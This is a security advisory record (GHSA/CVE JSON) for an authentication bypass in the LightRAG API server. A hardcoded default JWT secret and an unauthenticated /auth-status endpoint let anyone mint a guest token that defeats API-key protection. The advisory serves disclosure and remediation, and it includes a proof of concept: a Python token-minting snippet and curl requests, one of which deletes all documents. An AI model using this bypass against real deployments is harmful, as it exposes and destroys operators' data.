CVE-2026-61740: Lightrag hku Hardcoded DEFAULT_TOKEN_SECRET And Public /auth-status Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f4vv-55c2-5789",
  "modified" : "2026-07-20T21:46:37Z",
  "published" : "2026-07-20T21:46:37Z",
  "aliases" : [ "CVE-2026-61740" ],
  "summary" : "LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection",
  "details" : "## Summary\n\nWhen LightRAG is deployed with `LIGHTRAG_API_KEY` set but `AUTH_ACCOUNTS` unset (an officially documented \"API-Key authentication\" mode), the `X-API-Key` protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded `DEFAULT_TOKEN_SECRET` committed in the repository and then call any endpoint guarded by `Depends(combined_auth)`, including destructive operations such as `DELETE /documents`, `POST /documents/upload`, `/documents/clear_cache`, and `POST /query`.\n\nThis is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the `AUTH_ACCOUNTS`-configured case. The API-Key-only deployment profile is still fully exploitable on current `main` (commit `157c331`, v1.4.15).\n\n## Root cause\n\nThree independent issues combine:\n\n1. `lightrag/api/config.py:54` ships a hardcoded default JWT secret:\n   ```python\n   DEFAULT_TOKEN_SECRET=\"lightr...key!\"\n   ```\n2. `lightrag/api/auth.py:28-38` falls back to `DEFAULT_TOKEN_SECRET` with only a warning log when `AUTH_ACCOUNTS` is not configured. The fix for CVE-2026-30762 only raises when `AUTH_ACCOUNTS` is set, so the API-key-only path is silently vulnerable.\n3. `lightrag/api/lightrag_server.py:1140-1186` exposes `GET /auth-status` and `POST /login` without any authentication dependency. In the API-key-only configuration, `auth_handler.accounts` is empty, and both endpoints unconditionally mint and return a signed guest JWT.\n4. `lightrag/api/utils_api.py:214-216` inside `combined_dependency` short-circuits authorization on any valid guest token when `auth_configured` is false, **before** reaching the `X-API-Key` check on line 237:\n   ```python\n   if not auth_configured and token_info.get(\"role\") == \"guest\":\n       return\n   ```\n\n## Proof of concept (offline-minted token, zero server contact)\n\nTested against a clean install of commit `157c331` running locally with only `LIGHTRAG_API_KEY=super-...ass` configured.\n\n```bash\n$ python3 - <<'PY'\nimport jwt\nfrom datetime import datetime, timedelta, timezone\nprint(jwt.encode(\n    {\"sub\":\"guest\",\"role\":\"guest\",\n     \"exp\":datetime.now(timezone.utc)+timedelta(hours=24),\n     \"metadata\":{\"auth_mode\":\"disabled\"}},\n    \"lightrag-jwt-default-secret-key!\",\n    algorithm=\"HS256\"))\nPY\neyJhbGci...\n\n# Control — no creds: correctly rejected\n$ curl -s -w \"HTTP %{http_code}\\n\" http://target:9876/documents\n{\"detail\":\"API Key required\"}\nHTTP 403\n\n# Control — wrong API key: correctly rejected\n$ curl -s -w \"HTTP %{http_code}\\n\" -H \"X-API-Key: wrong-key\" http://target:9876/documents\n{\"detail\":\"Invalid API Key\"}\nHTTP 403\n\n# Bypass — offline-minted guest JWT: accepted\n$ curl -s -w \"HTTP %{http_code}\\n\" -H \"Authorization: Bearer *** \\\n    http://target:9876/documents\n{\"statuses\":{}}\nHTTP 200\n\n# Destructive confirmation — DELETE /documents with the same token\n$ curl -s -X DELETE -w \"HTTP %{http_code}\\n\" -H \"Authorization: Bearer *** \\\n    http://target:9876/documents\n{\"status\":\"success\",\"message\":\"All documents cleared successfully. Deleted 0 files.\"}\nHTTP 200\n```\n\nThe guest JWT also does not need to be minted offline — `GET /auth-status` hands one out to anyone, even when the server is started with `LIGHTRAG_API_KEY` set. Either path (offline or `/auth-status`) yields the same bypass.\n\n## Impact\n\nAny LightRAG instance that is reachable on the network and configured with:\n- `LIGHTRAG_API_KEY` set (i.e. the operator believes the server is protected), and\n- `AUTH_ACCOUNTS` unset (i.e. they opted out of the password-based login flow)\n\nis fully accessible to any anonymous caller. This configuration is documented as the \"simple API-Key authentication\" mode in `docs/LightRAG-API-Server.md`, so it is expected to be common in production. An attacker can:\n\n- Read and delete arbitrary documents (`/documents`, `DELETE /documents`)\n- Upload arbitrary documents and text for ingestion (`/documents/upload`, `/documents/text`, `/documents/texts`, `/documents/file_batch`, `/documents/scan`)\n- Clear LLM / embedding caches (`/documents/clear_cache`)\n- Inspect and mutate the knowledge graph (`/graph/*`)\n- Run arbitrary queries that will consume paid LLM / embedding credits (`/query`, `/query/stream`)\n\nBecause the server may be exposed behind corporate reverse proxies that trust `LIGHTRAG_API_KEY`, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.\n\n## Suggested CVSS\n\n7.5 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L` (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.\n\n## Suggested fix\n\nAny one of the following individually closes the primary vector; all three are recommended for defense in depth:\n\n1. **Remove the hardcoded fallback.** Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever `TOKEN_SECRET` is unset, regardless of `AUTH_ACCOUNTS`.\n2. **Gate `/auth-status` and `/login` when `LIGHTRAG_API_KEY` is set.** Either require `Depends(combined_auth)` or stop minting guest tokens whenever `api_key_configured` is true.\n3. **Fix the short-circuit in `combined_dependency`.** Do not accept guest tokens as authentication when `api_key_configured` is true; always require a valid `X-API-Key` header in that configuration.\n\n## Affected versions\n\n- `main` through commit `157c331` (2026-04-15)\n- Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path\n\n## Prior art checked\n\n- GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT `alg:none`. Unrelated.\n- GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with `AUTH_ACCOUNTS`. Fixed by PR #2869, which explicitly does **not** cover the API-Key-only configuration.\n- Issues/PRs searched: \"guest token bypass\", \"DEFAULT_TOKEN_SECRET\", \"hardcoded secret\", \"auth-status\", \"api key bypass\". No prior report covering this vector.\n\n## Discovery\n\nFound during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as \"patchmyday (Jason Zhang)\" upon disclosure.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lightrag-hku"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-f4vv-55c2-5789"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61740"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/pull/3319"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/commit/f7819aa3a49a9d8d92eed8251d82d6ebcafa8cba"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HKUDS/LightRAG"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-798" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:46:37Z",
    "nvd_published_at" : "2026-07-15T15:16:48Z"
  }
}